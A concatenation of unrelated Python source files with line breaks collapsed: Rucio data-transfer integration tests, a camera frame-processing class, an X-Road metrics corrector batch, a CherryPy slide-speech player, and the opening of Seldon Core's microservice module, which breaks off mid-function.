**did) # Only one request was handled; doesn't matter that it's multisource assert metrics_mock.get_sample_value('rucio_daemons_conveyor_finisher_handle_requests_total') >= 1 assert metrics_mock.get_sample_value('rucio_daemons_conveyor_poller_update_request_state_total', labels={'updated': 'True'}) >= 1 @skip_rse_tests_with_accounts @pytest.mark.dirty(reason="leaves files in XRD containers") @pytest.mark.noparallel(reason="uses predefined RSEs; runs submitter and receiver") def test_multisource_receiver(vo, did_factory, replica_client, root_account, metrics_mock): """ Run receiver as a background thread to automatically handle fts notifications. Ensure that a multi-source job in which the first source fails is correctly handled by receiver. """ receiver_thread = threading.Thread(target=receiver, kwargs={'id_': 0, 'full_mode': True, 'all_vos': True, 'total_threads': 1}) receiver_thread.start() try: src_rse1 = 'XRD4' src_rse1_id = rse_core.get_rse_id(rse=src_rse1, vo=vo) src_rse2 = 'XRD1' src_rse2_id = rse_core.get_rse_id(rse=src_rse2, vo=vo) dst_rse = 'XRD3' dst_rse_id = rse_core.get_rse_id(rse=dst_rse, vo=vo) all_rses = [src_rse1_id, src_rse2_id, dst_rse_id] # Add a good replica on the RSE which has a higher distance ranking did = did_factory.upload_test_file(src_rse1) # Add non-existing replica which will fail during multisource transfers on the RSE with lower cost (will be the preferred source) replica_client.add_replicas(rse=src_rse2, files=[{'scope': did['scope'].external, 'name': did['name'], 'bytes': 1, 'adler32': 'aaaaaaaa'}]) rule_core.add_rule(dids=[did], account=root_account, copies=1, rse_expression=dst_rse, grouping='ALL', weight=None, lifetime=None, locked=False, subscription_id=None) submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], group_bulk=2, partition_wait_time=None, transfertype='single', filter_transfertool=None) request = None for _ in range(MAX_POLL_WAIT_SECONDS): request = request_core.get_request_by_did(rse_id=dst_rse_id, **did) # The request must not be marked as failed. Not even temporarily. It is a multi-source transfer and the # the first, failed, source must not change the replica state. We must wait for all sources to be tried. assert request['state'] != RequestState.FAILED if request['state'] == RequestState.DONE: break time.sleep(1) assert request['state'] == RequestState.DONE assert metrics_mock.get_sample_value('rucio_daemons_conveyor_receiver_update_request_state_total', labels={'updated': 'True'}) >= 1 finally: receiver_graceful_stop.set() receiver_thread.join(timeout=5) receiver_graceful_stop.clear() @skip_rse_tests_with_accounts @pytest.mark.noparallel(reason="uses predefined RSEs; runs submitter and receiver") @pytest.mark.parametrize("core_config_mock", [{"table_content": [ ('transfers', 'use_multihop', True), ]}], indirect=True) @pytest.mark.parametrize("caches_mock", [{"caches_to_mock": [ 'rucio.core.rse_expression_parser', # The list of multihop RSEs is retrieved by rse expression 'rucio.core.config', ]}], indirect=True) def test_multihop_receiver_on_failure(vo, did_factory, replica_client, root_account, core_config_mock, caches_mock, metrics_mock): """ Verify that the receiver correctly handles multihop jobs which fail """ receiver_thread = threading.Thread(target=receiver, kwargs={'id_': 0, 'full_mode': True, 'all_vos': True, 'total_threads': 1}) receiver_thread.start() try: src_rse = 'XRD1' src_rse_id = rse_core.get_rse_id(rse=src_rse, vo=vo) jump_rse = 'XRD3' jump_rse_id = rse_core.get_rse_id(rse=jump_rse, vo=vo) dst_rse = 'XRD4' dst_rse_id = rse_core.get_rse_id(rse=dst_rse, vo=vo) all_rses = [src_rse_id, jump_rse_id, dst_rse_id] # Register a did which doesn't exist. It will trigger a failure error during the FTS transfer. did = did_factory.random_did() replica_client.add_replicas(rse=src_rse, files=[{'scope': did['scope'].external, 'name': did['name'], 'bytes': 1, 'adler32': 'aaaaaaaa'}]) rule_core.add_rule(dids=[did], account=root_account, copies=1, rse_expression=dst_rse, grouping='ALL', weight=None, lifetime=None, locked=False, subscription_id=None) submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], group_bulk=2, partition_wait_time=None, transfertype='single', filter_transfertool=None) request = __wait_for_request_state(dst_rse_id=jump_rse_id, state=RequestState.FAILED, run_poller=False, **did) assert request['state'] == RequestState.FAILED # We use FTS "Completion" messages in receiver. In case of multi-hops transfer failures, FTS doesn't start # next transfers; so it never sends a "completion" message for some hops. Rely on poller in such cases. # TODO: set the run_poller argument to False if we ever manage to make the receiver correctly handle multi-hop failures. request = __wait_for_request_state(dst_rse_id=dst_rse_id, state=RequestState.FAILED, run_poller=True, **did) assert request['state'] == RequestState.FAILED # First hop will be handled by receiver; second hop by poller assert metrics_mock.get_sample_value('rucio_daemons_conveyor_receiver_update_request_state_total', labels={'updated': 'True'}) >= 1 assert metrics_mock.get_sample_value('rucio_daemons_conveyor_poller_update_request_state_total', labels={'updated': 'True'}) >= 1 finally: receiver_graceful_stop.set() receiver_thread.join(timeout=5) receiver_graceful_stop.clear() @skip_rse_tests_with_accounts @pytest.mark.noparallel(reason="uses predefined RSEs; runs submitter and receiver") @pytest.mark.parametrize("core_config_mock", [{"table_content": [ ('transfers', 'use_multihop', True), ]}], indirect=True) @pytest.mark.parametrize("caches_mock", [{"caches_to_mock": [ 'rucio.core.rse_expression_parser', # The list of multihop RSEs is retrieved by rse expression 'rucio.core.config', ]}], indirect=True) def test_multihop_receiver_on_success(vo, did_factory, root_account, core_config_mock, caches_mock, metrics_mock): """ Verify that the receiver correctly handles successful multihop jobs """ receiver_thread = threading.Thread(target=receiver, kwargs={'id_': 0, 'full_mode': True, 'all_vos': True, 'total_threads': 1}) receiver_thread.start() try: src_rse = 'XRD1' src_rse_id = rse_core.get_rse_id(rse=src_rse, vo=vo) jump_rse = 'XRD3' jump_rse_id = rse_core.get_rse_id(rse=jump_rse, vo=vo) dst_rse = 'XRD4' dst_rse_id = rse_core.get_rse_id(rse=dst_rse, vo=vo) all_rses = [src_rse_id, jump_rse_id, dst_rse_id] did = did_factory.upload_test_file(src_rse) rule_core.add_rule(dids=[did], account=root_account, copies=1, rse_expression=dst_rse, grouping='ALL', weight=None, lifetime=None, locked=False, subscription_id=None) submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], group_bulk=2, partition_wait_time=None, transfertype='single', filter_transfertool=None) request = __wait_for_request_state(dst_rse_id=jump_rse_id, state=RequestState.DONE, run_poller=False, **did) assert request['state'] == RequestState.DONE request = __wait_for_request_state(dst_rse_id=dst_rse_id, state=RequestState.DONE, run_poller=False, **did) assert request['state'] == RequestState.DONE # Two hops; both handled by receiver assert metrics_mock.get_sample_value('rucio_daemons_conveyor_receiver_update_request_state_total', labels={'updated': 'True'}) >= 2 finally: receiver_graceful_stop.set() receiver_thread.join(timeout=5) receiver_graceful_stop.clear() @skip_rse_tests_with_accounts @pytest.mark.noparallel(reason="runs multiple conveyor daemons") @pytest.mark.parametrize("file_config_mock", [{ "overrides": [('conveyor', 'use_preparer', 'true')] }], indirect=True) @pytest.mark.parametrize("core_config_mock", [{ "table_content": [('throttler', 'mode', 'DEST_PER_ALL_ACT')] }], indirect=True) def test_preparer_throttler_submitter(rse_factory, did_factory, root_account, file_config_mock, core_config_mock): """ Integration test of the preparer/throttler workflow. """ src_rse, src_rse_id = rse_factory.make_rse(scheme='mock', protocol_impl='rucio.rse.protocols.posix.Default') dst_rse1, dst_rse_id1 = rse_factory.make_rse(scheme='mock', protocol_impl='rucio.rse.protocols.posix.Default') dst_rse2, dst_rse_id2 = rse_factory.make_rse(scheme='mock', protocol_impl='rucio.rse.protocols.posix.Default') all_rses = [src_rse_id, dst_rse_id1, dst_rse_id2] for rse_id in all_rses: rse_core.add_rse_attribute(rse_id, 'fts', TEST_FTS_HOST) distance_core.add_distance(src_rse_id, dst_rse_id1, ranking=10) distance_core.add_distance(src_rse_id, dst_rse_id2, ranking=10) # Set limits only for one of the RSEs rse_core.set_rse_transfer_limits(dst_rse_id1, max_transfers=1, activity='all_activities', strategy='fifo') did1 = did_factory.upload_test_file(src_rse) did2 = did_factory.upload_test_file(src_rse) rule_core.add_rule(dids=[did1], account=root_account, copies=1, rse_expression=dst_rse1, grouping='ALL', weight=None, lifetime=None, locked=False, subscription_id=None) rule_core.add_rule(dids=[did2], account=root_account, copies=1, rse_expression=dst_rse1, grouping='ALL', weight=None, lifetime=None, locked=False, subscription_id=None) rule_core.add_rule(dids=[did1], account=root_account, copies=1, rse_expression=dst_rse2, grouping='ALL', weight=None, lifetime=None, locked=False, subscription_id=None) request = request_core.get_request_by_did(rse_id=dst_rse_id1, **did1) assert request['state'] == RequestState.PREPARING request = request_core.get_request_by_did(rse_id=dst_rse_id1, **did2) assert request['state'] == RequestState.PREPARING request = request_core.get_request_by_did(rse_id=dst_rse_id2, **did1) assert request['state'] == RequestState.PREPARING # submitter must not work on PREPARING replicas submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], group_bulk=2, partition_wait_time=None, transfertype='single', filter_transfertool=None) # One RSE has limits set: the requests will be moved to WAITING status; the other RSE has no limits: go directly to queued preparer(once=True, sleep_time=1, bulk=100, partition_wait_time=None) request = request_core.get_request_by_did(rse_id=dst_rse_id1, **did1) assert request['state'] == RequestState.WAITING request = request_core.get_request_by_did(rse_id=dst_rse_id1, **did2) assert request['state'] == RequestState.WAITING request = request_core.get_request_by_did(rse_id=dst_rse_id2, **did1) assert request['state'] == RequestState.QUEUED # submitter must not work on WAITING replicas submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], group_bulk=2, partition_wait_time=None, transfertype='single', filter_transfertool=None) # One of the waiting requests will be queued, the second will remain in waiting state throttler(once=True, partition_wait_time=None) request1 = request_core.get_request_by_did(rse_id=dst_rse_id1, **did1) request2 = request_core.get_request_by_did(rse_id=dst_rse_id1, **did2) # one request WAITING and other QUEUED assert (request1['state'] == RequestState.WAITING and request2['state'] == RequestState.QUEUED or request1['state'] == RequestState.QUEUED and request2['state'] == RequestState.WAITING) waiting_did = did1 if request1['state'] == RequestState.WAITING else did2 queued_did = did1 if request1['state'] == RequestState.QUEUED else did2 submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], group_bulk=2, partition_wait_time=None, transfertype='single', filter_transfertool=None) # Calling the throttler again will not schedule the waiting request, because there is a submitted one throttler(once=True, partition_wait_time=None) request = request_core.get_request_by_did(rse_id=dst_rse_id1, **waiting_did) assert request['state'] == RequestState.WAITING request = __wait_for_request_state(dst_rse_id=dst_rse_id1, state=RequestState.DONE, **queued_did) assert request['state'] == RequestState.DONE request = __wait_for_request_state(dst_rse_id=dst_rse_id2, state=RequestState.DONE, **did1) assert request['state'] == RequestState.DONE # Now that the submitted transfers are finished, the WAITING one can be queued throttler(once=True, partition_wait_time=None) request = request_core.get_request_by_did(rse_id=dst_rse_id1, **waiting_did) assert request['state'] == RequestState.QUEUED @skip_rse_tests_with_accounts @pytest.mark.noparallel(reason="runs stager; poller and finisher") def test_stager(rse_factory, did_factory, root_account, replica_client): """ Submit a real transfer to FTS and rely on the gfal "mock" plugin to report a simulated "success" https://gitlab.cern.ch/dmc/gfal2/-/blob/master/src/plugins/mock/README_PLUGIN_MOCK """ src_rse, src_rse_id = rse_factory.make_rse(scheme='mock', protocol_impl='rucio.rse.protocols.posix.Default', rse_type=RSEType.TAPE) dst_rse, dst_rse_id = rse_factory.make_rse(scheme='mock', protocol_impl='rucio.rse.protocols.posix.Default') all_rses = [src_rse_id, dst_rse_id] distance_core.add_distance(src_rse_id, dst_rse_id, ranking=10) rse_core.add_rse_attribute(src_rse_id, 'staging_buffer', dst_rse) for rse_id in all_rses: rse_core.add_rse_attribute(rse_id, 'fts', 'https://fts:8446') did = did_factory.upload_test_file(src_rse) replica = replica_core.get_replica(rse_id=src_rse_id, **did) replica_client.add_replicas(rse=dst_rse, files=[{'scope': did['scope'].external, 'name': did['name'], 'state': 'C', 'bytes': replica['bytes'], 'adler32': replica['adler32'], 'md5': replica['md5']}]) request_core.queue_requests(requests=[{'dest_rse_id': dst_rse_id, 'scope': did['scope'], 'name': did['name'], 'rule_id': '00000000000000000000000000000000', 'attributes': { 'source_replica_expression': src_rse, 'activity': 'Some Activity', 'bytes': replica['bytes'], 'adler32': replica['adler32'], 'md5': replica['md5'], }, 'request_type': RequestType.STAGEIN, 'retry_count': 0, 'account': root_account, 'requested_at': datetime.now()}]) stager(once=True, rses=[{'id': rse_id} for rse_id in all_rses]) replica = __wait_for_replica_transfer(dst_rse_id=dst_rse_id, max_wait_seconds=2 * MAX_POLL_WAIT_SECONDS, **did) assert replica['state'] == ReplicaState.AVAILABLE @skip_rse_tests_with_accounts @pytest.mark.noparallel(reason="runs submitter and poller;") @pytest.mark.parametrize("core_config_mock", [{"table_content": [ ('transfers', 'use_multihop', True) ]}], indirect=True) @pytest.mark.parametrize("caches_mock", [{"caches_to_mock": [ 'rucio.core.rse_expression_parser', # The list of multihop RSEs is retrieved by an expression 'rucio.core.config', ]}], indirect=True) def test_overwrite_on_tape(rse_factory, did_factory, root_account, core_config_mock, caches_mock): """ Ensure that overwrite is not set for transfers towards TAPE RSEs Submit a real transfer to FTS and rely on the gfal "mock" plugin to trigger a failure. The failure is triggered when gfal_stat is called on the destination URL and it returns a result. To achieve this via the mock plugin, it's enough to have a mock:// protocol/scheme and add size_pre=<something> url parameter. https://gitlab.cern.ch/dmc/gfal2/-/blob/master/src/plugins/mock/README_PLUGIN_MOCK """ # +------+ +------+ +------+ # | | | | | | # | RSE1 +--->| RSE2 |--->| RSE3 | # | | | | |(tape)| # +------+ +------+ +------+ rse1, rse1_id = rse_factory.make_rse(scheme='mock', protocol_impl='rucio.rse.protocols.posix.Default') rse2, rse2_id = rse_factory.make_rse(scheme='mock', protocol_impl='rucio.rse.protocols.posix.Default') rse3, rse3_id = rse_factory.make_rse(scheme='mock', protocol_impl='rucio.rse.protocols.posix.Default', rse_type=RSEType.TAPE) all_rses = [rse1_id, rse2_id, rse3_id] distance_core.add_distance(rse1_id, rse2_id, ranking=10) distance_core.add_distance(rse2_id, rse3_id, ranking=10) rse_core.add_rse_attribute(rse2_id, 'available_for_multihop', True) for rse_id in all_rses: rse_core.add_rse_attribute(rse_id, 'fts', 'https://fts:8446') # multihop transfer: did1 = did_factory.upload_test_file(rse1) # direct transfer: did2 = did_factory.upload_test_file(rse2) rule_core.add_rule(dids=[did1, did2], account=root_account, copies=1, rse_expression=rse3, grouping='ALL', weight=None, lifetime=None, locked=False, subscription_id=None) # Wrap dest url generation to add size_pre=2 query parameter non_mocked_generate_dest_url = transfer_core.DirectTransferDefinition._generate_dest_url def mocked_generate_dest_url(cls, *args): return set_query_parameters(non_mocked_generate_dest_url(*args), {'size_pre': 2}) with patch('rucio.core.transfer.DirectTransferDefinition._generate_dest_url', new=mocked_generate_dest_url): submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], group_bulk=10, partition_wait_time=None, transfertype='single', filter_transfertool=None) request = __wait_for_request_state(dst_rse_id=rse3_id, state=RequestState.FAILED, **did1) assert request['state'] == RequestState.FAILED request = __wait_for_request_state(dst_rse_id=rse3_id, state=RequestState.FAILED, **did2) assert request['state'] == RequestState.FAILED assert 'Destination file exists and overwrite is not enabled' in request['err_msg']
camera.py
import threading import binascii from time import sleep from utils import base64_to_pil_image, pil_image_to_base64 class Camera(object): def __init__(self, makeup_artist): self.to_process = [] self.to_output = [] self.makeup_artist = makeup_artist thread = threading.Thread(target=self.keep_processing, args=()) thread.daemon = True thread.start() def process_one(self): if not self.to_process: return # input is an ascii string. input_str = self.to_process.pop(0) # convert it to a pil image input_img = base64_to_pil_image(input_str) ################## where the hard work is done ############ # output_img is an PIL image output_img = self.makeup_artist.apply_makeup(input_img) # output_str is a base64 string in ascii output_str = pil_image_to_base64(output_img) # convert eh base64 string in ascii to base64 string in _bytes_ self.to_output.append(binascii.a2b_base64(output_str)) def keep_processing(self): while True: self.process_one() sleep(0.01) def enqueue_input(self, input): self.to_process.append(input) def get_frame(self): while not self.to_output: sleep(0.00) return self.to_output.pop(0)
corrector_batch.py
# The MIT License # Copyright (c) 2021- Nordic Institute for Interoperability Solutions (NIIS) # Copyright (c) 2017-2020 Estonian Information System Authority (RIA) # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import multiprocessing import queue import time import traceback from . import database_manager from . import document_manager from .corrector_worker import CorrectorWorker from .logger_manager import LoggerManager class CorrectorBatch: def __init__(self, settings, logger_m: LoggerManager): self.settings = settings self.logger_m = logger_m def run(self, process_dict): """ The run method fetches data and initializes corrector workers. :param process_dict: :return: """ try: self._batch_run(process_dict) except Exception as e: # Catch internal exceptions to log msg = "Error: {0} {1}".format(repr(e), traceback.format_exc()).replace("\n", "") self.logger_m.log_error('corrector_batch_run', msg) # Raise exception again raise e def _batch_run(self, process_dict): """ Gets raw documents, groups by "messageId", corrects documents' structure, initializes workers, updates timeout documents to "done", removes duplicates from raw_messages. :param process_dict: :return: Returns the amount of documents still to process. """ doc_len = 0 start_processing_time = time.time() self.logger_m.log_heartbeat("processing", "SUCCEEDED") self.logger_m.log_info( 'corrector_batch_start', f'Starting corrector' ) db_m = database_manager.DatabaseManager(self.settings) doc_m = document_manager.DocumentManager(self.settings) limit = self.settings["corrector"]["documents-max"] cursor = db_m.get_raw_documents(limit=limit) self.logger_m.log_info('corrector_batch_raw', 'Processing {0} raw documents'.format(len(cursor))) # Aggregate documents by message id # Correct missing fields doc_map = {} for _doc in cursor: message_id = _doc.get('messageId', '') if message_id not in doc_map: doc_map[message_id] = [] fix_doc = doc_m.correct_structure(_doc) doc_map[message_id].append(fix_doc) # Build queue to be processed list_to_process = multiprocessing.Queue() duplicates = multiprocessing.Value('i', 0, lock=True) m = multiprocessing.Manager() to_remove_queue = m.Queue() for message_id in doc_map: documents = doc_map[message_id] data = dict() data['logger_manager'] = self.logger_m data['document_manager'] = doc_m data['message_id'] = message_id data['documents'] = documents data['to_remove_queue'] = to_remove_queue list_to_process.put(data) doc_len += len(documents) # Sync # time.sleep(5) # Create pool of workers pool = [] for i in range(self.settings["corrector"]["thread-count"]): # Configure worker worker = CorrectorWorker(self.settings, f'worker_{i}') p = multiprocessing.Process(target=worker.run, args=(list_to_process, duplicates)) pool.append(p) # Starts all pool process for p in pool: p.start() # Wait all processes to finish their jobs for p in pool: p.join() timeout = self.settings['corrector']['timeout-days'] self.logger_m.log_info('corrector_batch_update_timeout', f"Updating timed out [{timeout} days] orphans to done.") # Update Status of older documents according to client.requestInTs cursor = db_m.get_timeout_documents_client(timeout, limit=limit) list_of_docs = list(cursor) number_of_updated_docs = db_m.update_old_to_done(list_of_docs) if number_of_updated_docs > 0: self.logger_m.log_info('corrector_batch_update_client_old_to_done', "Total of {0} orphans from Client updated to status 'done'.".format( number_of_updated_docs)) else: self.logger_m.log_info('corrector_batch_update_client_old_to_done', "No orphans updated to done.") doc_len += number_of_updated_docs # Update Status of older documents according to producer.requestInTs cursor = db_m.get_timeout_documents_producer(timeout, limit=limit) list_of_docs = list(cursor) number_of_updated_docs = db_m.update_old_to_done(list_of_docs) if number_of_updated_docs > 0: self.logger_m.log_info('corrector_batch_update_producer_old_to_done', "Total of {0} orphans from Producer updated to status 'done'.".format( number_of_updated_docs)) else: self.logger_m.log_info('corrector_batch_update_producer_old_to_done', "No orphans updated to done.") doc_len += number_of_updated_docs # Go through the to_remove list and remove the duplicates element_in_queue = True total_raw_removed = 0 while element_in_queue: try: element = to_remove_queue.get(False) db_m.remove_duplicate_from_raw(element) total_raw_removed += 1 except queue.Empty: element_in_queue = False if total_raw_removed > 0: self.logger_m.log_info('corrector_batch_remove_duplicates_from_raw', "Total of {0} duplicate documents removed from raw messages.".format( total_raw_removed)) else: self.logger_m.log_info('corrector_batch_remove_duplicates_from_raw', "No raw documents marked to removal.") doc_len += total_raw_removed end_processing_time = time.time() total_time = time.strftime("%H:%M:%S", time.gmtime(end_processing_time - start_processing_time)) msg = ["Number of duplicates: {0}".format(duplicates.value), "Documents processed: " + str(doc_len), "Processing time: {0}".format(total_time)] self.logger_m.log_info('corrector_batch_end', ' | '.join(msg)) self.logger_m.log_heartbeat( "finished", "SUCCEEDED") process_dict['doc_len'] = doc_len
SlideSpeech.py
# -*- coding: utf-8 -*- """ SlideSpeech.py Use browser and local text-to-speech engine to display and play Wiki-to-Speech scripts Copyright (c) 2011 John Graves MIT License: see LICENSE.txt 20110818 Changes to enable reading http://aucklandunitarian.pagekite.me/Test20110818b 20110819 Tested on Mac: http://aucklandunitarian.pagekite.me/Test20110814 http://aucklandunitarian.pagekite.me/Test20110819 which calls another script http://aucklandunitarian.pagekite.me/Test20110819b which has [path=pathToImageFiles] and combined image with question 20110822 Added version number to input form 20110824 Pass __version__ to input form Ensure static directory exists 20110825 Add __version__ to title 20110909 Added question number to showQuestion (so going back should work) 20110913 Make symbolic links from static directory to location of script.txt png images 20111126 Titanpad in addition to iEtherpad. Jump to 0.1.26 to sync with odp2wts (SlideSpeech) 20111128 Changed name to SlideSpeech. Revised voice.py to work under Linux. 20111207 Sync version number with SlideSpeech Converter """ import cherrypy import os.path import Queue import threading import webbrowser import forms import objects import scriptParser import sys import voice __version__ = "0.1.31" if not os.path.exists('static'): os.makedirs('static') class WelcomePage: def index(self): # Ask for the script name. return forms.scriptInputFormWithErrorMessage(__version__,"") index.exposed = True webbrowser.open_new_tab('http://localhost:8080') def SlideSpeech_Exit_Complete(self): webbrowser.open_new_tab('http://slidespeech.org') sys.exit() SlideSpeech_Exit_Complete.exposed = True def getScriptName(self, name = None): #name = "http://dl.dropbox.com/u/12838403/20110428a.txt" if name: if name=="exit": sys.exit() seq.sequence = scriptParser.parseScript(name) if seq.sequence: seq.onQuestion = 0 return speakAndReturnForm() else: return forms.scriptInputFormWithErrorMessage( \ __version__, "<i>Could not open "+name+"</i>") else: # No name was specified return forms.scriptInputFormWithErrorMessage( \ __version__, "<i>Please enter a file name or link on the web.</i>") getScriptName.exposed = True def nextSlide(self): clearQueue() seq.onQuestion += 1 if seq.onQuestion > len(seq.sequence) - 1: return forms.scriptInputFormWithErrorMessage(__version__,"") else: return speakAndReturnForm() nextSlide.exposed = True def nextSlideFromAnswer0(self, q): return respondToAnswer(0, q) nextSlideFromAnswer0.exposed = True def nextSlideFromAnswer1(self, q): return respondToAnswer(1, q) nextSlideFromAnswer1.exposed = True def nextSlideFromAnswer2(self, q): return respondToAnswer(2, q) nextSlideFromAnswer2.exposed = True def nextSlideFromAnswer3(self, q): return respondToAnswer(3, q) nextSlideFromAnswer3.exposed = True def nextSlideFromAnswer4(self, q): return respondToAnswer(4, q) nextSlideFromAnswer4.exposed = True def nextSlideFromAnswer5(self, q): return respondToAnswer(5, q) nextSlideFromAnswer5.exposed = True def nextSlideFromAnswer6(self, q): return respondToAnswer(6, q) nextSlideFromAnswer6.exposed = True seq = objects.Sequence() voiceInstance = voice.Voice() def speakAndReturnForm(): # Check for visited answers. If found, do not re-read question noVisitedAnswers = True for a in seq.sequence[seq.onQuestion].answers: if a.visited: noVisitedAnswers = False if noVisitedAnswers: speakList(seq.sequence[seq.onQuestion].questionTexts) for a in seq.sequence[seq.onQuestion].answers: speakList([a.answerText]) linkToShow = seq.sequence[seq.onQuestion].linkToShow if linkToShow.lower().endswith(".pdf"): return forms.showPDFSlide(seq.sequence[seq.onQuestion].linkToShow) elif linkToShow.lower().endswith(".jpg") or linkToShow.lower().endswith(".png"): if linkToShow.startswith("Slide") or linkToShow.startswith("img") or \ linkToShow.find("\Slide")!=-1 or linkToShow.find("/img")!=-1: if len(seq.sequence[seq.onQuestion].pathToImageFiles)>0: linkToShow = seq.sequence[seq.onQuestion].pathToImageFiles + linkToShow else: pass #linkToShow = "static/" + linkToShow if len(seq.sequence[seq.onQuestion].answers)>0: return forms.showJPGSlideWithQuestion(linkToShow, \ seq.sequence[seq.onQuestion] ) else: return forms.showJPGSlide(linkToShow) elif linkToShow.lower().endswith(".htm"): return forms.showDHTML() elif linkToShow.lower().endswith(".swf"): return forms.showSWF() elif len(linkToShow)>0: #return forms.showWebsite(seq.sequence[seq.onQuestion]) return forms.showQuestionAndWebsite(seq.sequence[seq.onQuestion], seq.onQuestion) else: # no match for linkToShow return forms.showQuestion(seq.sequence[seq.onQuestion], seq.onQuestion) def respondToAnswer(n, q): clearQueue() response = "" seq.onQuestion = int(q) if n<len(seq.sequence[seq.onQuestion].answers): # mark answer as visited seq.sequence[seq.onQuestion].answers[n].visited = True # say what there is to say response = seq.sequence[seq.onQuestion].answers[n].responseText if response != "": speakList([response]) # follow any response side link responseSideLink = seq.sequence[seq.onQuestion].answers[n].responseSideLink if len(responseSideLink)>0: seq.sequence = scriptParser.parseScript(responseSideLink) if seq.sequence: seq.onQuestion = 0 return speakAndReturnForm() #TODO error recovery # move to whichever question comes next if seq.sequence[seq.onQuestion].answers[n].action != 0: nextQ = seq.onQuestion + seq.sequence[seq.onQuestion].answers[n].action if 0 <= nextQ <= len(seq.sequence): seq.onQuestion = nextQ if seq.onQuestion<len(seq.sequence): return speakAndReturnForm() else: # past end of sequence speakList(["You have reached the end. Please select another script."]) return forms.scriptInputFormWithErrorMessage(__version__,"") def clearQueue(): while not q.empty(): q.get() def worker(): while True: text = q.get() voiceInstance.speak(text, "") q.task_done() q = Queue.Queue() t = threading.Thread(target=worker) t.daemon = True t.start() def speakList(textList): for item in textList: q.put(item) #q.join() # block until all tasks are done if __name__ == '__main__': # CherryPy always starts with app.root when trying to map request URIs # to objects, so we need to mount a request handler root. A request # to '/' will be mapped to HelloWorld().index(). cherrypy.config.update({'server.socket_host': '127.0.0.1', 'server.socket_port': 8080, 'server.thread_pool': 10, }) config = {'/': {'tools.staticdir.root': os.path.abspath(os.curdir)}, '/static':{'tools.staticdir.on':True, 'tools.staticdir.dir':"static"}} cherrypy.quickstart(WelcomePage(), config=config)
microservice.py
import argparse import contextlib import importlib import json import logging import multiprocessing import multiprocessing as mp import os import socket import sys import time from distutils.util import strtobool from functools import partial from typing import Callable, Dict from seldon_core import __version__ from seldon_core import wrapper as seldon_microservice from seldon_core.flask_utils import ( ANNOTATION_REST_TIMEOUT, ANNOTATIONS_FILE, DEFAULT_ANNOTATION_REST_TIMEOUT, SeldonMicroserviceException, ) from seldon_core.gunicorn_utils import ( StandaloneApplication, UserModelApplication, accesslog, post_worker_init, threads, worker_exit, ) from seldon_core.metrics import SeldonMetrics from seldon_core.utils import getenv_as_bool, setup_tracing logger = logging.getLogger(__name__) PARAMETERS_ENV_NAME = "PREDICTIVE_UNIT_PARAMETERS" HTTP_SERVICE_PORT_ENV_NAME = "PREDICTIVE_UNIT_HTTP_SERVICE_PORT" GRPC_SERVICE_PORT_ENV_NAME = "PREDICTIVE_UNIT_GRPC_SERVICE_PORT" METRICS_SERVICE_PORT_ENV_NAME = "PREDICTIVE_UNIT_METRICS_SERVICE_PORT" FILTER_METRICS_ACCESS_LOGS_ENV_NAME = "FILTER_METRICS_ACCESS_LOGS" LOG_LEVEL_ENV = "SELDON_LOG_LEVEL" DEFAULT_LOG_LEVEL = "INFO" DEFAULT_GRPC_PORT = 5000 DEFAULT_HTTP_PORT = 9000 DEFAULT_METRICS_PORT = 6000 DEBUG_ENV = "SELDON_DEBUG" GUNICORN_ACCESS_LOG_ENV = "GUNICORN_ACCESS_LOG" def start_servers( target1: Callable, target2: Callable, target3: Callable, metrics_target: Callable ) -> None: """ Start servers Parameters ---------- target1 Main flask process target2 Auxiliary flask process """ p2 = None if target2: p2 = mp.Process(target=target2, daemon=False) p2.start() p3 = None if target3: p3 = mp.Process(target=target3, daemon=True) p3.start() p4 = None if metrics_target: p4 = mp.Process(target=metrics_target, daemon=True) p4.start() target1() if p2: p2.join() if p3: p3.join() if p4: p4.join() def parse_parameters(parameters: Dict) -> Dict: """ Parse the user object parameters Parameters ---------- parameters Returns ------- """ type_dict = { "INT": int, "FLOAT": float, "DOUBLE": float, "STRING": str, "BOOL": bool, } parsed_parameters = {} for param in parameters: name = param.get("name") value = param.get("value") type_ = param.get("type") if type_ == "BOOL": parsed_parameters[name] = bool(strtobool(value)) else: try: parsed_parameters[name] = type_dict[type_](value) except ValueError: raise SeldonMicroserviceException( "Bad model parameter: " + name + " with value " + value + " can't be parsed as a " + type_, reason="MICROSERVICE_BAD_PARAMETER", ) except KeyError: raise SeldonMicroserviceException( "Bad model parameter type: " + type_ + " valid are INT, FLOAT, DOUBLE, STRING, BOOL", reason="MICROSERVICE_BAD_PARAMETER", ) return parsed_parameters def load_annotations() -> Dict: """ Attempt to load annotations Returns ------- """ annotations = {} try: if os.path.isfile(ANNOTATIONS_FILE): with open(ANNOTATIONS_FILE, "r") as ins: for line in ins: line = line.rstrip() parts = list(map(str.strip, line.split("=", 1))) if len(parts) == 2: key = parts[0] value = parts[1][1:-1] # strip quotes at start and end logger.info("Found annotation %s:%s ", key, value) annotations[key] = value else: logger.info("Bad annotation [%s]", line) except: logger.error("Failed to open annotations file %s", ANNOTATIONS_FILE) return annotations class MetricsEndpointFilter(logging.Filter): def filter(self, record): return seldon_microservice.METRICS_ENDPOINT not in record.getMessage() def setup_logger(log_level: str, debug_mode: bool) -> logging.Logger: # set up log level log_level_raw = os.environ.get(LOG_LEVEL_ENV, log_level.upper()) 